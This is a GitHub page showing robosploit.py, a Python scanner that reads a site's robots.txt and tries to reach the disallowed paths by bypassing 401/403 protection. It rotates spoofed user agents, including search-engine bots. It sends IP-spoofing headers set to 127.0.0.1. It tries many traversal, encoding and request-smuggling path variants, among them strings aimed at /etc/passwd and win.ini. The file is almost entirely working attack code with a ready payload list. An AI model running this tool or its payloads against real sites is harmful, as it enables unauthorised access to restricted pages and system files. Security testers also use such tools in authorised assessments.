-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathrobosploit.py
More file actions
593 lines (511 loc) · 23.8 KB
/
Copy pathrobosploit.py
File metadata and controls
593 lines (511 loc) · 23.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
#!/usr/bin/env python3
import requests
from urllib.parse import urljoin, urlparse
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
import colorama
from colorama import Fore, Style
import random
import json
import csv
import time
import warnings
import os
import logging
import threading
from http.client import HTTPConnection
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import Fore, Style
def print_banner():
print(Fore.CYAN + r"""
______ _ _____ _ _ _
| ___ \ | | / ___| | | (_) |
| |_/ /___ | |__ ___ \ `--. _ __ | | ___ _| |_
| // _ \| '_ \ / _ \ `--. \ '_ \| |/ _ \| | __|
| |\ \ (_) | |_) | (_) /\__/ / |_) | | (_) | | |_
\_| \_\___/|_.__/ \___/\____/| .__/|_|\___/|_|\__|
| |
|_|""")
print(Fore.YELLOW + "──────────────────────────────────────────────" +
Fore.RED + "[By XploitPoy-777]" +
Fore.YELLOW + "──────" + Style.RESET_ALL)
print()
# Color options:
# - Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE
# - Fore.MAGENTA, Fore.CYAN, Fore.WHITE
# - Style.BRIGHT for bold effect
print_banner()
# Suppress SSL warnings
warnings.filterwarnings("ignore", category=InsecureRequestWarning)
# Initialize colors
colorama.init(autoreset=True)
# ======================
# CONFIGURATION
# ======================
# User-agent rotation
USER_AGENTS = [
# Chrome (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36',
# Chrome (Mac)
'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36',
# Chrome (Linux)
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36',
# Firefox (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0',
# Firefox (Mac)
'Mozilla/5.0 (Macintosh; Intel Mac OS X 13.5; rv:126.0) Gecko/20100101 Firefox/126.0',
# Edge (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36 Edg/124.0.2478.80',
# Safari (Mac)
'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15',
# Safari (iPhone)
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
# Safari (iPad)
'Mozilla/5.0 (iPad; CPU OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
# Android Chrome
'Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 13; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Mobile Safari/537.36',
# Samsung Internet
'Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/25.0 Chrome/124.0.6367.207 Mobile Safari/537.36',
# Opera (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36 OPR/109.0.5097.80',
# Opera (Mac)
'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36 OPR/109.0.5097.80',
# Googlebot
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
# Bingbot
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
# DuckDuckBot
'DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)',
# Baiduspider
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
# YandexBot
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
# Facebook External Hit
'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)',
# WhatsApp
'WhatsApp/2.24.13.76 A',
# Slackbot
'Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)',
# LinkedInBot
'Mozilla/5.0 (compatible; LinkedInBot/1.0; +http://www.linkedin.com)',
# Pinterestbot
'Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)',
# Twitterbot
'Twitterbot/1.0',
# Custom/Unknown
'Mozilla/5.0 (compatible; CustomBot/1.0; +http://www.example.com/bot.html)',
]
HTTP_METHODS = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH']
# Comprehensive IP spoofing headers for 401/403 bypass
BYPASS_HEADERS = [
{'Client-IP': '127.0.0.1'},
{'Forwarded-For-Ip': '127.0.0.1'},
{'Forwarded-For': '127.0.0.1'},
{'Forwarded-For': 'localhost'},
{'Forwarded': '127.0.0.1'},
{'Forwarded': 'localhost'},
{'True-Client-IP': '127.0.0.1'},
{'X-Client-IP': '127.0.0.1'},
{'X-Custom-IP-Authorization': '127.0.0.1'},
{'X-Forward-For': '127.0.0.1'},
{'X-Forward': '127.0.0.1'},
{'X-Forward': 'localhost'},
{'X-Forwarded-By': '127.0.0.1'},
{'X-Forwarded-By': 'localhost'},
{'X-Forwarded-For-Original': '127.0.0.1'},
{'X-Forwarded-For-Original': 'localhost'},
{'X-Forwarded-For': '127.0.0.1'},
{'X-Forwarded-For': 'localhost'},
{'X-Forwarded-Server': '127.0.0.1'},
{'X-Forwarded-Server': 'localhost'},
{'X-Forwarded': '127.0.0.1'},
{'X-Forwarded': 'localhost'},
{'X-Forwared-Host': '127.0.0.1'},
{'X-Forwared-Host': 'localhost'},
{'X-Host': '127.0.0.1'},
{'X-Host': 'localhost'},
{'X-HTTP-Host-Override': '127.0.0.1'},
{'X-Originating-IP': '127.0.0.1'},
{'X-Real-IP': '127.0.0.1'},
{'X-Remote-Addr': '127.0.0.1'},
{'X-Remote-Addr': 'localhost'},
{'X-Remote-IP': '127.0.0.1'},
{'CF-Connecting-IP': '127.0.0.1'}, # Cloudflare
{'Fastly-Client-IP': '127.0.0.1'}, # Fastly
{'Akamai-Origin-Hop': '127.0.0.1'} # Akamai
]
# Advanced Path Traversal Variants
PATH_VARIANTS = [
# Basic traversal
'', '/.', '/..;/', '//', '/./',
# Encoding variations
'%20', '%09', '%00', '%0a', '%0d%0a', '%23', '%2e', '%2f', '%5c', '%ff',
# Double encoding
'%252e', '%252f', '%255c', '%2520', '%2500',
# Case manipulation
'/ADMIN', '/aDmIn', '/Admin/',
# Special chars
';', ';.css', ';.js', ';.html', '?', '??', '???', '#', '##', '###', '/..\\',
# File extensions
'.json', '.bak', '.old', '.temp', '.swp', '.swo', '.backup',
'.tar.gz', '.zip', '.rar', '.7z',
# Parameter pollution
';param=value', '?param=value', '¶m=value',
'%3fparam=value', '%26param=value',
# Path normalization
'/.../', '/..../', '/.....\\', '/...\\', '/..\\../',
'/..%5c..%5c', '/%2e%2e%2f', '/%2e%2e/', '/..%00/', '/..%ff/',
'/%2e%2e%5c', '/%252e%252e%252f', '/%252e%252e%255c',
# Windows-specific
'/::$DATA', '/:stream:$DATA', '/com1', '/com2', '/lpt1', '/aux', '/prn',
# Unicode
'/%c0%af', '/%c1%9c', '/%ef%bc%8f', '/%ef%bf%a3',
# HTTP request smuggling
'/%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0a',
'/%20HTTP/1.1%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0a%0d%0a',
# Archive tricks
'.zip/', '.rar/', '.tar.gz/', '/file.zip/../', '/archive.rar/..\\',
# Web server quirks
'/%2f', '/%5c', '/%2f%2f', '/%5c%5c', '/%2f%5c', '/%5c%2f',
# Combination attacks
'/admin%00.json', '/config%23.bak', '/backup%20.tar.gz',
'/..%2f..%2fetc%2fpasswd', '/..%5c..%5cwindows%5cwin.ini'
]
# Special headers for specific path variants
PATH_VARIANTS_HEADERS = {
'/::$DATA': {'X-File-Type': 'NTFS'},
'/:stream:$DATA': {'X-File-Type': 'NTFS'},
'/com1': {'X-Device': 'COM1'},
'/%c0%af': {'X-Unicode': 'yes'},
'/%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0a': {'X-HTTP-Smuggling': 'test'}
}
# ======================
# HTTP/2 ADAPTER
# ======================
class HTTP2Adapter(HTTPAdapter):
def __init__(self, *args, **kwargs):
self.http2 = kwargs.pop('http2', True)
super().__init__(*args, **kwargs)
def init_poolmanager(self, *args, **kwargs):
kwargs['protocol'] = 'h2' if self.http2 else 'http/1.1'
super().init_poolmanager(*args, **kwargs)
def proxy_manager_for(self, *args, **kwargs):
kwargs['protocol'] = 'h2' if self.http2 else 'http/1.1'
return super().proxy_manager_for(*args, **kwargs)
# ======================
# RATE LIMITER
# ======================
class RateLimiter:
def __init__(self, max_requests, per_seconds):
self.max_requests = max_requests
self.per_seconds = per_seconds
self.timestamps = []
self.lock = threading.Lock()
def wait(self):
with self.lock:
now = time.time()
# Remove old timestamps
self.timestamps = [t for t in self.timestamps if t > now - self.per_seconds]
if len(self.timestamps) >= self.max_requests:
sleep_time = self.per_seconds - (now - self.timestamps[0])
if sleep_time > 0:
time.sleep(sleep_time)
now = time.time()
self.timestamps.append(now)
if len(self.timestamps) > self.max_requests:
self.timestamps.pop(0)
# ======================
# SCANNER CLASS
# ======================
class UltimateScanner:
def __init__(self):
self.results = []
self.session = requests.Session()
self.retry_count = 2
self.timeout = 10
self.delay = 1
self.rate_limiter = None
self.http2_enabled = False
self.total_requests = 0
self.start_time = time.time()
# Configure retry strategy
retry_strategy = Retry(
total=3,
backoff_factor=1,
status_forcelist=[429, 500, 502, 503, 504]
)
self.adapter = HTTPAdapter(max_retries=retry_strategy)
def configure_http2(self, enable=True):
"""Enable/disable HTTP/2 support"""
self.http2_enabled = enable
if enable:
self.session.mount("https://", HTTP2Adapter(http2=True))
self.session.mount("http://", HTTP2Adapter(http2=True))
else:
self.session.mount("https://", self.adapter)
self.session.mount("http://", self.adapter)
def configure_rate_limit(self, max_requests, per_seconds):
"""Configure rate limiting"""
if max_requests > 0 and per_seconds > 0:
self.rate_limiter = RateLimiter(max_requests, per_seconds)
else:
self.rate_limiter = None
def get_random_user_agent(self):
return random.choice(USER_AGENTS)
def configure_session(self, proxy=None, verify_ssl=False):
"""Configure HTTP session with proxy and SSL settings"""
if proxy:
self.session.proxies = {
'http': proxy,
'https': proxy
}
self.session.verify = verify_ssl
self.session.headers.update({
'User-Agent': self.get_random_user_agent(),
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive'
})
def make_request(self, method, url, headers={}, data=None):
"""Make HTTP request with rate limiting and error handling"""
if self.rate_limiter:
self.rate_limiter.wait()
self.total_requests += 1
try:
# Add variant-specific headers if they exist
final_headers = headers.copy()
final_headers.update(PATH_VARIANTS_HEADERS.get(urlparse(url).path, {}))
if method == 'GET':
response = self.session.get(url, headers=final_headers, timeout=self.timeout, allow_redirects=False)
elif method == 'POST':
response = self.session.post(url, headers=final_headers, timeout=self.timeout, allow_redirects=False, data=data or {'test': '1'})
elif method == 'PUT':
response = self.session.put(url, headers=final_headers, timeout=self.timeout, allow_redirects=False, data=data or {'test': '1'})
elif method == 'DELETE':
response = self.session.delete(url, headers=final_headers, timeout=self.timeout, allow_redirects=False)
elif method == 'PATCH':
response = self.session.patch(url, headers=final_headers, timeout=self.timeout, allow_redirects=False, data=data or {'test': '1'})
return {
'status': response.status_code,
'length': len(response.content) if hasattr(response, 'content') else 0,
'headers': dict(response.headers),
'effective_url': response.url,
'http_version': response.raw.version if hasattr(response.raw, 'version') else '1.1'
}
except Exception as e:
return {
'error': str(e),
'status': 0
}
def try_methods(self, url, headers={}):
"""Test all HTTP methods on a URL with retries"""
method_results = {}
for method in HTTP_METHODS:
result = None
for attempt in range(self.retry_count + 1):
result = self.make_request(method, url, headers)
if result['status'] != 0 or attempt == self.retry_count:
break
time.sleep(self.delay)
method_results[method] = result
return method_results
def try_bypass(self, url):
"""Test multiple bypass techniques on a URL"""
results = []
# Test normal methods first
normal_results = self.try_methods(url)
results.append(('Normal', normal_results))
# If any method gets blocked (401/403), try bypass headers
if any(res.get('status') in [401, 403] for res in normal_results.values()):
for header_set in BYPASS_HEADERS:
bypass_results = self.try_methods(url, header_set)
results.append((f"Header:{list(header_set.keys())[0]}", bypass_results))
if not any(res.get('status') in [401, 403] for res in bypass_results.values()):
break
# If still blocked, try path variants
if all(any(r[1][method].get('status') in [401, 403] for method in HTTP_METHODS) for r in results):
for variant_url in self.generate_bypass_urls(url):
variant_results = self.try_methods(variant_url)
results.append((f"PathVariant:{variant_url}", variant_results))
if not any(res.get('status') in [401, 403] for res in variant_results.values()):
break
return results
def generate_bypass_urls(self, original_url):
"""Generate URL variants for bypass testing"""
variants = []
parsed = urlparse(original_url)
base_path = parsed.path
for variant in PATH_VARIANTS:
if not variant:
continue
new_path = base_path + variant
variants.append(parsed._replace(path=new_path).geturl())
return variants
def get_robots_txt(self, base_url):
"""Fetch robots.txt from target with retries"""
robots_url = urljoin(base_url, '/robots.txt')
for attempt in range(self.retry_count + 1):
try:
response = self.session.get(robots_url, timeout=self.timeout)
if response.status_code == 200:
return response.text
print(Fore.YELLOW + f"[!] robots.txt not found (HTTP {response.status_code})")
except Exception as e:
if attempt == self.retry_count:
print(Fore.RED + f"[-] Error fetching robots.txt: {e}")
time.sleep(self.delay)
return None
def parse_robots(self, robots_content, base_url):
"""Extract disallowed paths from robots.txt"""
disallowed_paths = []
for line in robots_content.split('\n'):
line = line.strip()
if line.lower().startswith('disallow:'):
path = line.split(':')[1].strip()
if path:
disallowed_paths.append(urljoin(base_url, path))
return disallowed_paths
def scan_url(self, url, proxy=None, bugs_only=False):
"""Scan a single URL"""
self.configure_session(proxy, verify_ssl=False if proxy else True)
result = {
'url': url,
'accessible_paths': [],
'timestamp': time.strftime("%Y-%m-%d %H:%M:%S")
}
robots_content = self.get_robots_txt(url)
if not robots_content:
return result
disallowed_paths = self.parse_robots(robots_content, url)
if not disallowed_paths:
print(Fore.YELLOW + f"[!] No disallowed paths found for {url}")
return result
for path in disallowed_paths:
bypass_results = self.try_bypass(path)
for technique, res in bypass_results:
for http_method, response in res.items():
if response.get('status') == 200:
result['accessible_paths'].append({
'path': path,
'method': http_method,
'status': response['status'],
'length': response['length'],
'bypass_technique': technique,
'headers': response.get('headers', {}),
'effective_url': response.get('effective_url', ''),
'http_version': response.get('http_version', '1.1')
})
if not bugs_only:
print(Fore.GREEN + f"[+] {http_method} BYPASSED ({technique}): {path}")
return result
def get_stats(self):
"""Get scanning statistics"""
duration = time.time() - self.start_time
return {
'total_requests': self.total_requests,
'duration': duration,
'requests_per_second': self.total_requests / duration if duration > 0 else 0
}
# ======================
# MAIN FUNCTION
# ======================
def main():
parser = argparse.ArgumentParser(
description="ULTIMATE Robots.txt Scanner with HTTP/2 and Rate Limiting",
formatter_class=argparse.ArgumentDefaultsHelpFormatter
)
parser.add_argument('url', nargs='?', help="Single URL to scan")
parser.add_argument('-l', '--list', help="File containing list of URLs")
parser.add_argument('-t', '--threads', type=int, default=5, help="Threads for concurrent scanning")
parser.add_argument('-o', '--output', help="Output file to save results (JSON/CSV)")
parser.add_argument('-f', '--format', choices=['json', 'csv'], default='json', help="Output format")
parser.add_argument('-p', '--proxy', help="Proxy (e.g., http://127.0.0.1:8080)")
parser.add_argument('--bugs-only', action='store_true', help="Only show exploitable URLs")
parser.add_argument('--retries', type=int, default=2, help="Number of retries for failed requests")
parser.add_argument('--timeout', type=int, default=10, help="Request timeout in seconds")
parser.add_argument('--delay', type=float, default=1.0, help="Delay between retries in seconds")
parser.add_argument('--http2', action='store_true', help="Enable HTTP/2 support")
parser.add_argument('--rate-limit', type=int, default=0, help="Max requests per second (0 for no limit)")
parser.add_argument('--rate-window', type=int, default=1, help="Rate limit window in seconds")
parser.add_argument('--verbose', action='store_true', help="Show verbose output")
args = parser.parse_args()
if not args.url and not args.list:
parser.error("Please provide either a single URL or a file with -l")
# Prepare URLs
urls = []
if args.url:
urls.append(args.url)
if args.list:
with open(args.list, 'r') as f:
urls.extend([line.strip() for line in f if line.strip()])
print(Fore.CYAN + f"[*] Starting scan for {len(urls)} URLs with {args.threads} threads")
if args.proxy:
print(Fore.CYAN + f"[*] Using proxy: {args.proxy}")
if args.http2:
print(Fore.CYAN + "[*] HTTP/2 support enabled")
if args.rate_limit > 0:
print(Fore.CYAN + f"[*] Rate limiting: {args.rate_limit} requests per {args.rate_window} second(s)")
print(Fore.CYAN + f"[*] Testing methods: {', '.join(HTTP_METHODS)}")
print(Fore.CYAN + f"[*] Retry attempts: {args.retries}")
print(Fore.CYAN + f"[*] Timeout: {args.timeout}s, Delay: {args.delay}s")
scanner = UltimateScanner()
scanner.configure_http2(args.http2)
scanner.configure_rate_limit(args.rate_limit, args.rate_window)
scanner.retry_count = args.retries
scanner.timeout = args.timeout
scanner.delay = args.delay
results = []
start_time = time.time()
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = {executor.submit(scanner.scan_url, url, args.proxy, args.bugs_only): url for url in urls}
try:
for future in as_completed(futures):
url = futures[future]
try:
result = future.result()
if result['accessible_paths']:
results.append(result)
if args.bugs_only:
print(Fore.GREEN + f"\n[+] Vulnerable paths found for {result['url']}:")
for path in result['accessible_paths']:
print(Fore.GREEN + f" - {path['method']} {path['path']} (Bypass: {path['bypass_technique']})")
except Exception as e:
print(Fore.RED + f"[-] Error scanning {url}: {str(e)}")
except KeyboardInterrupt:
print(Fore.YELLOW + "\n[!] Received keyboard interrupt, shutting down...")
executor._threads.clear()
raise
# Save results
if args.output and results:
with open(args.output, 'w') as f:
if args.format == 'json':
json.dump(results, f, indent=2)
else: # CSV
writer = csv.writer(f)
writer.writerow(['URL', 'Path', 'Method', 'Status', 'Length', 'Bypass Technique', 'Effective URL', 'HTTP Version'])
for result in results:
for path in result['accessible_paths']:
writer.writerow([
result['url'],
path['path'],
path['method'],
path['status'],
path['length'],
path['bypass_technique'],
path.get('effective_url', ''),
path.get('http_version', '1.1')
])
print(Fore.CYAN + f"\n[*] Results saved to {args.output} ({args.format.upper()})")
# Print statistics
stats = scanner.get_stats()
print(Fore.CYAN + "\n[*] Scan statistics:")
print(Fore.CYAN + f" - Total requests: {stats['total_requests']}")
print(Fore.CYAN + f" - Duration: {stats['duration']:.2f} seconds")
print(Fore.CYAN + f" - Requests per second: {stats['requests_per_second']:.2f}")
print(Fore.GREEN + "\n[+] Scan completed!")
if __name__ == '__main__':
main()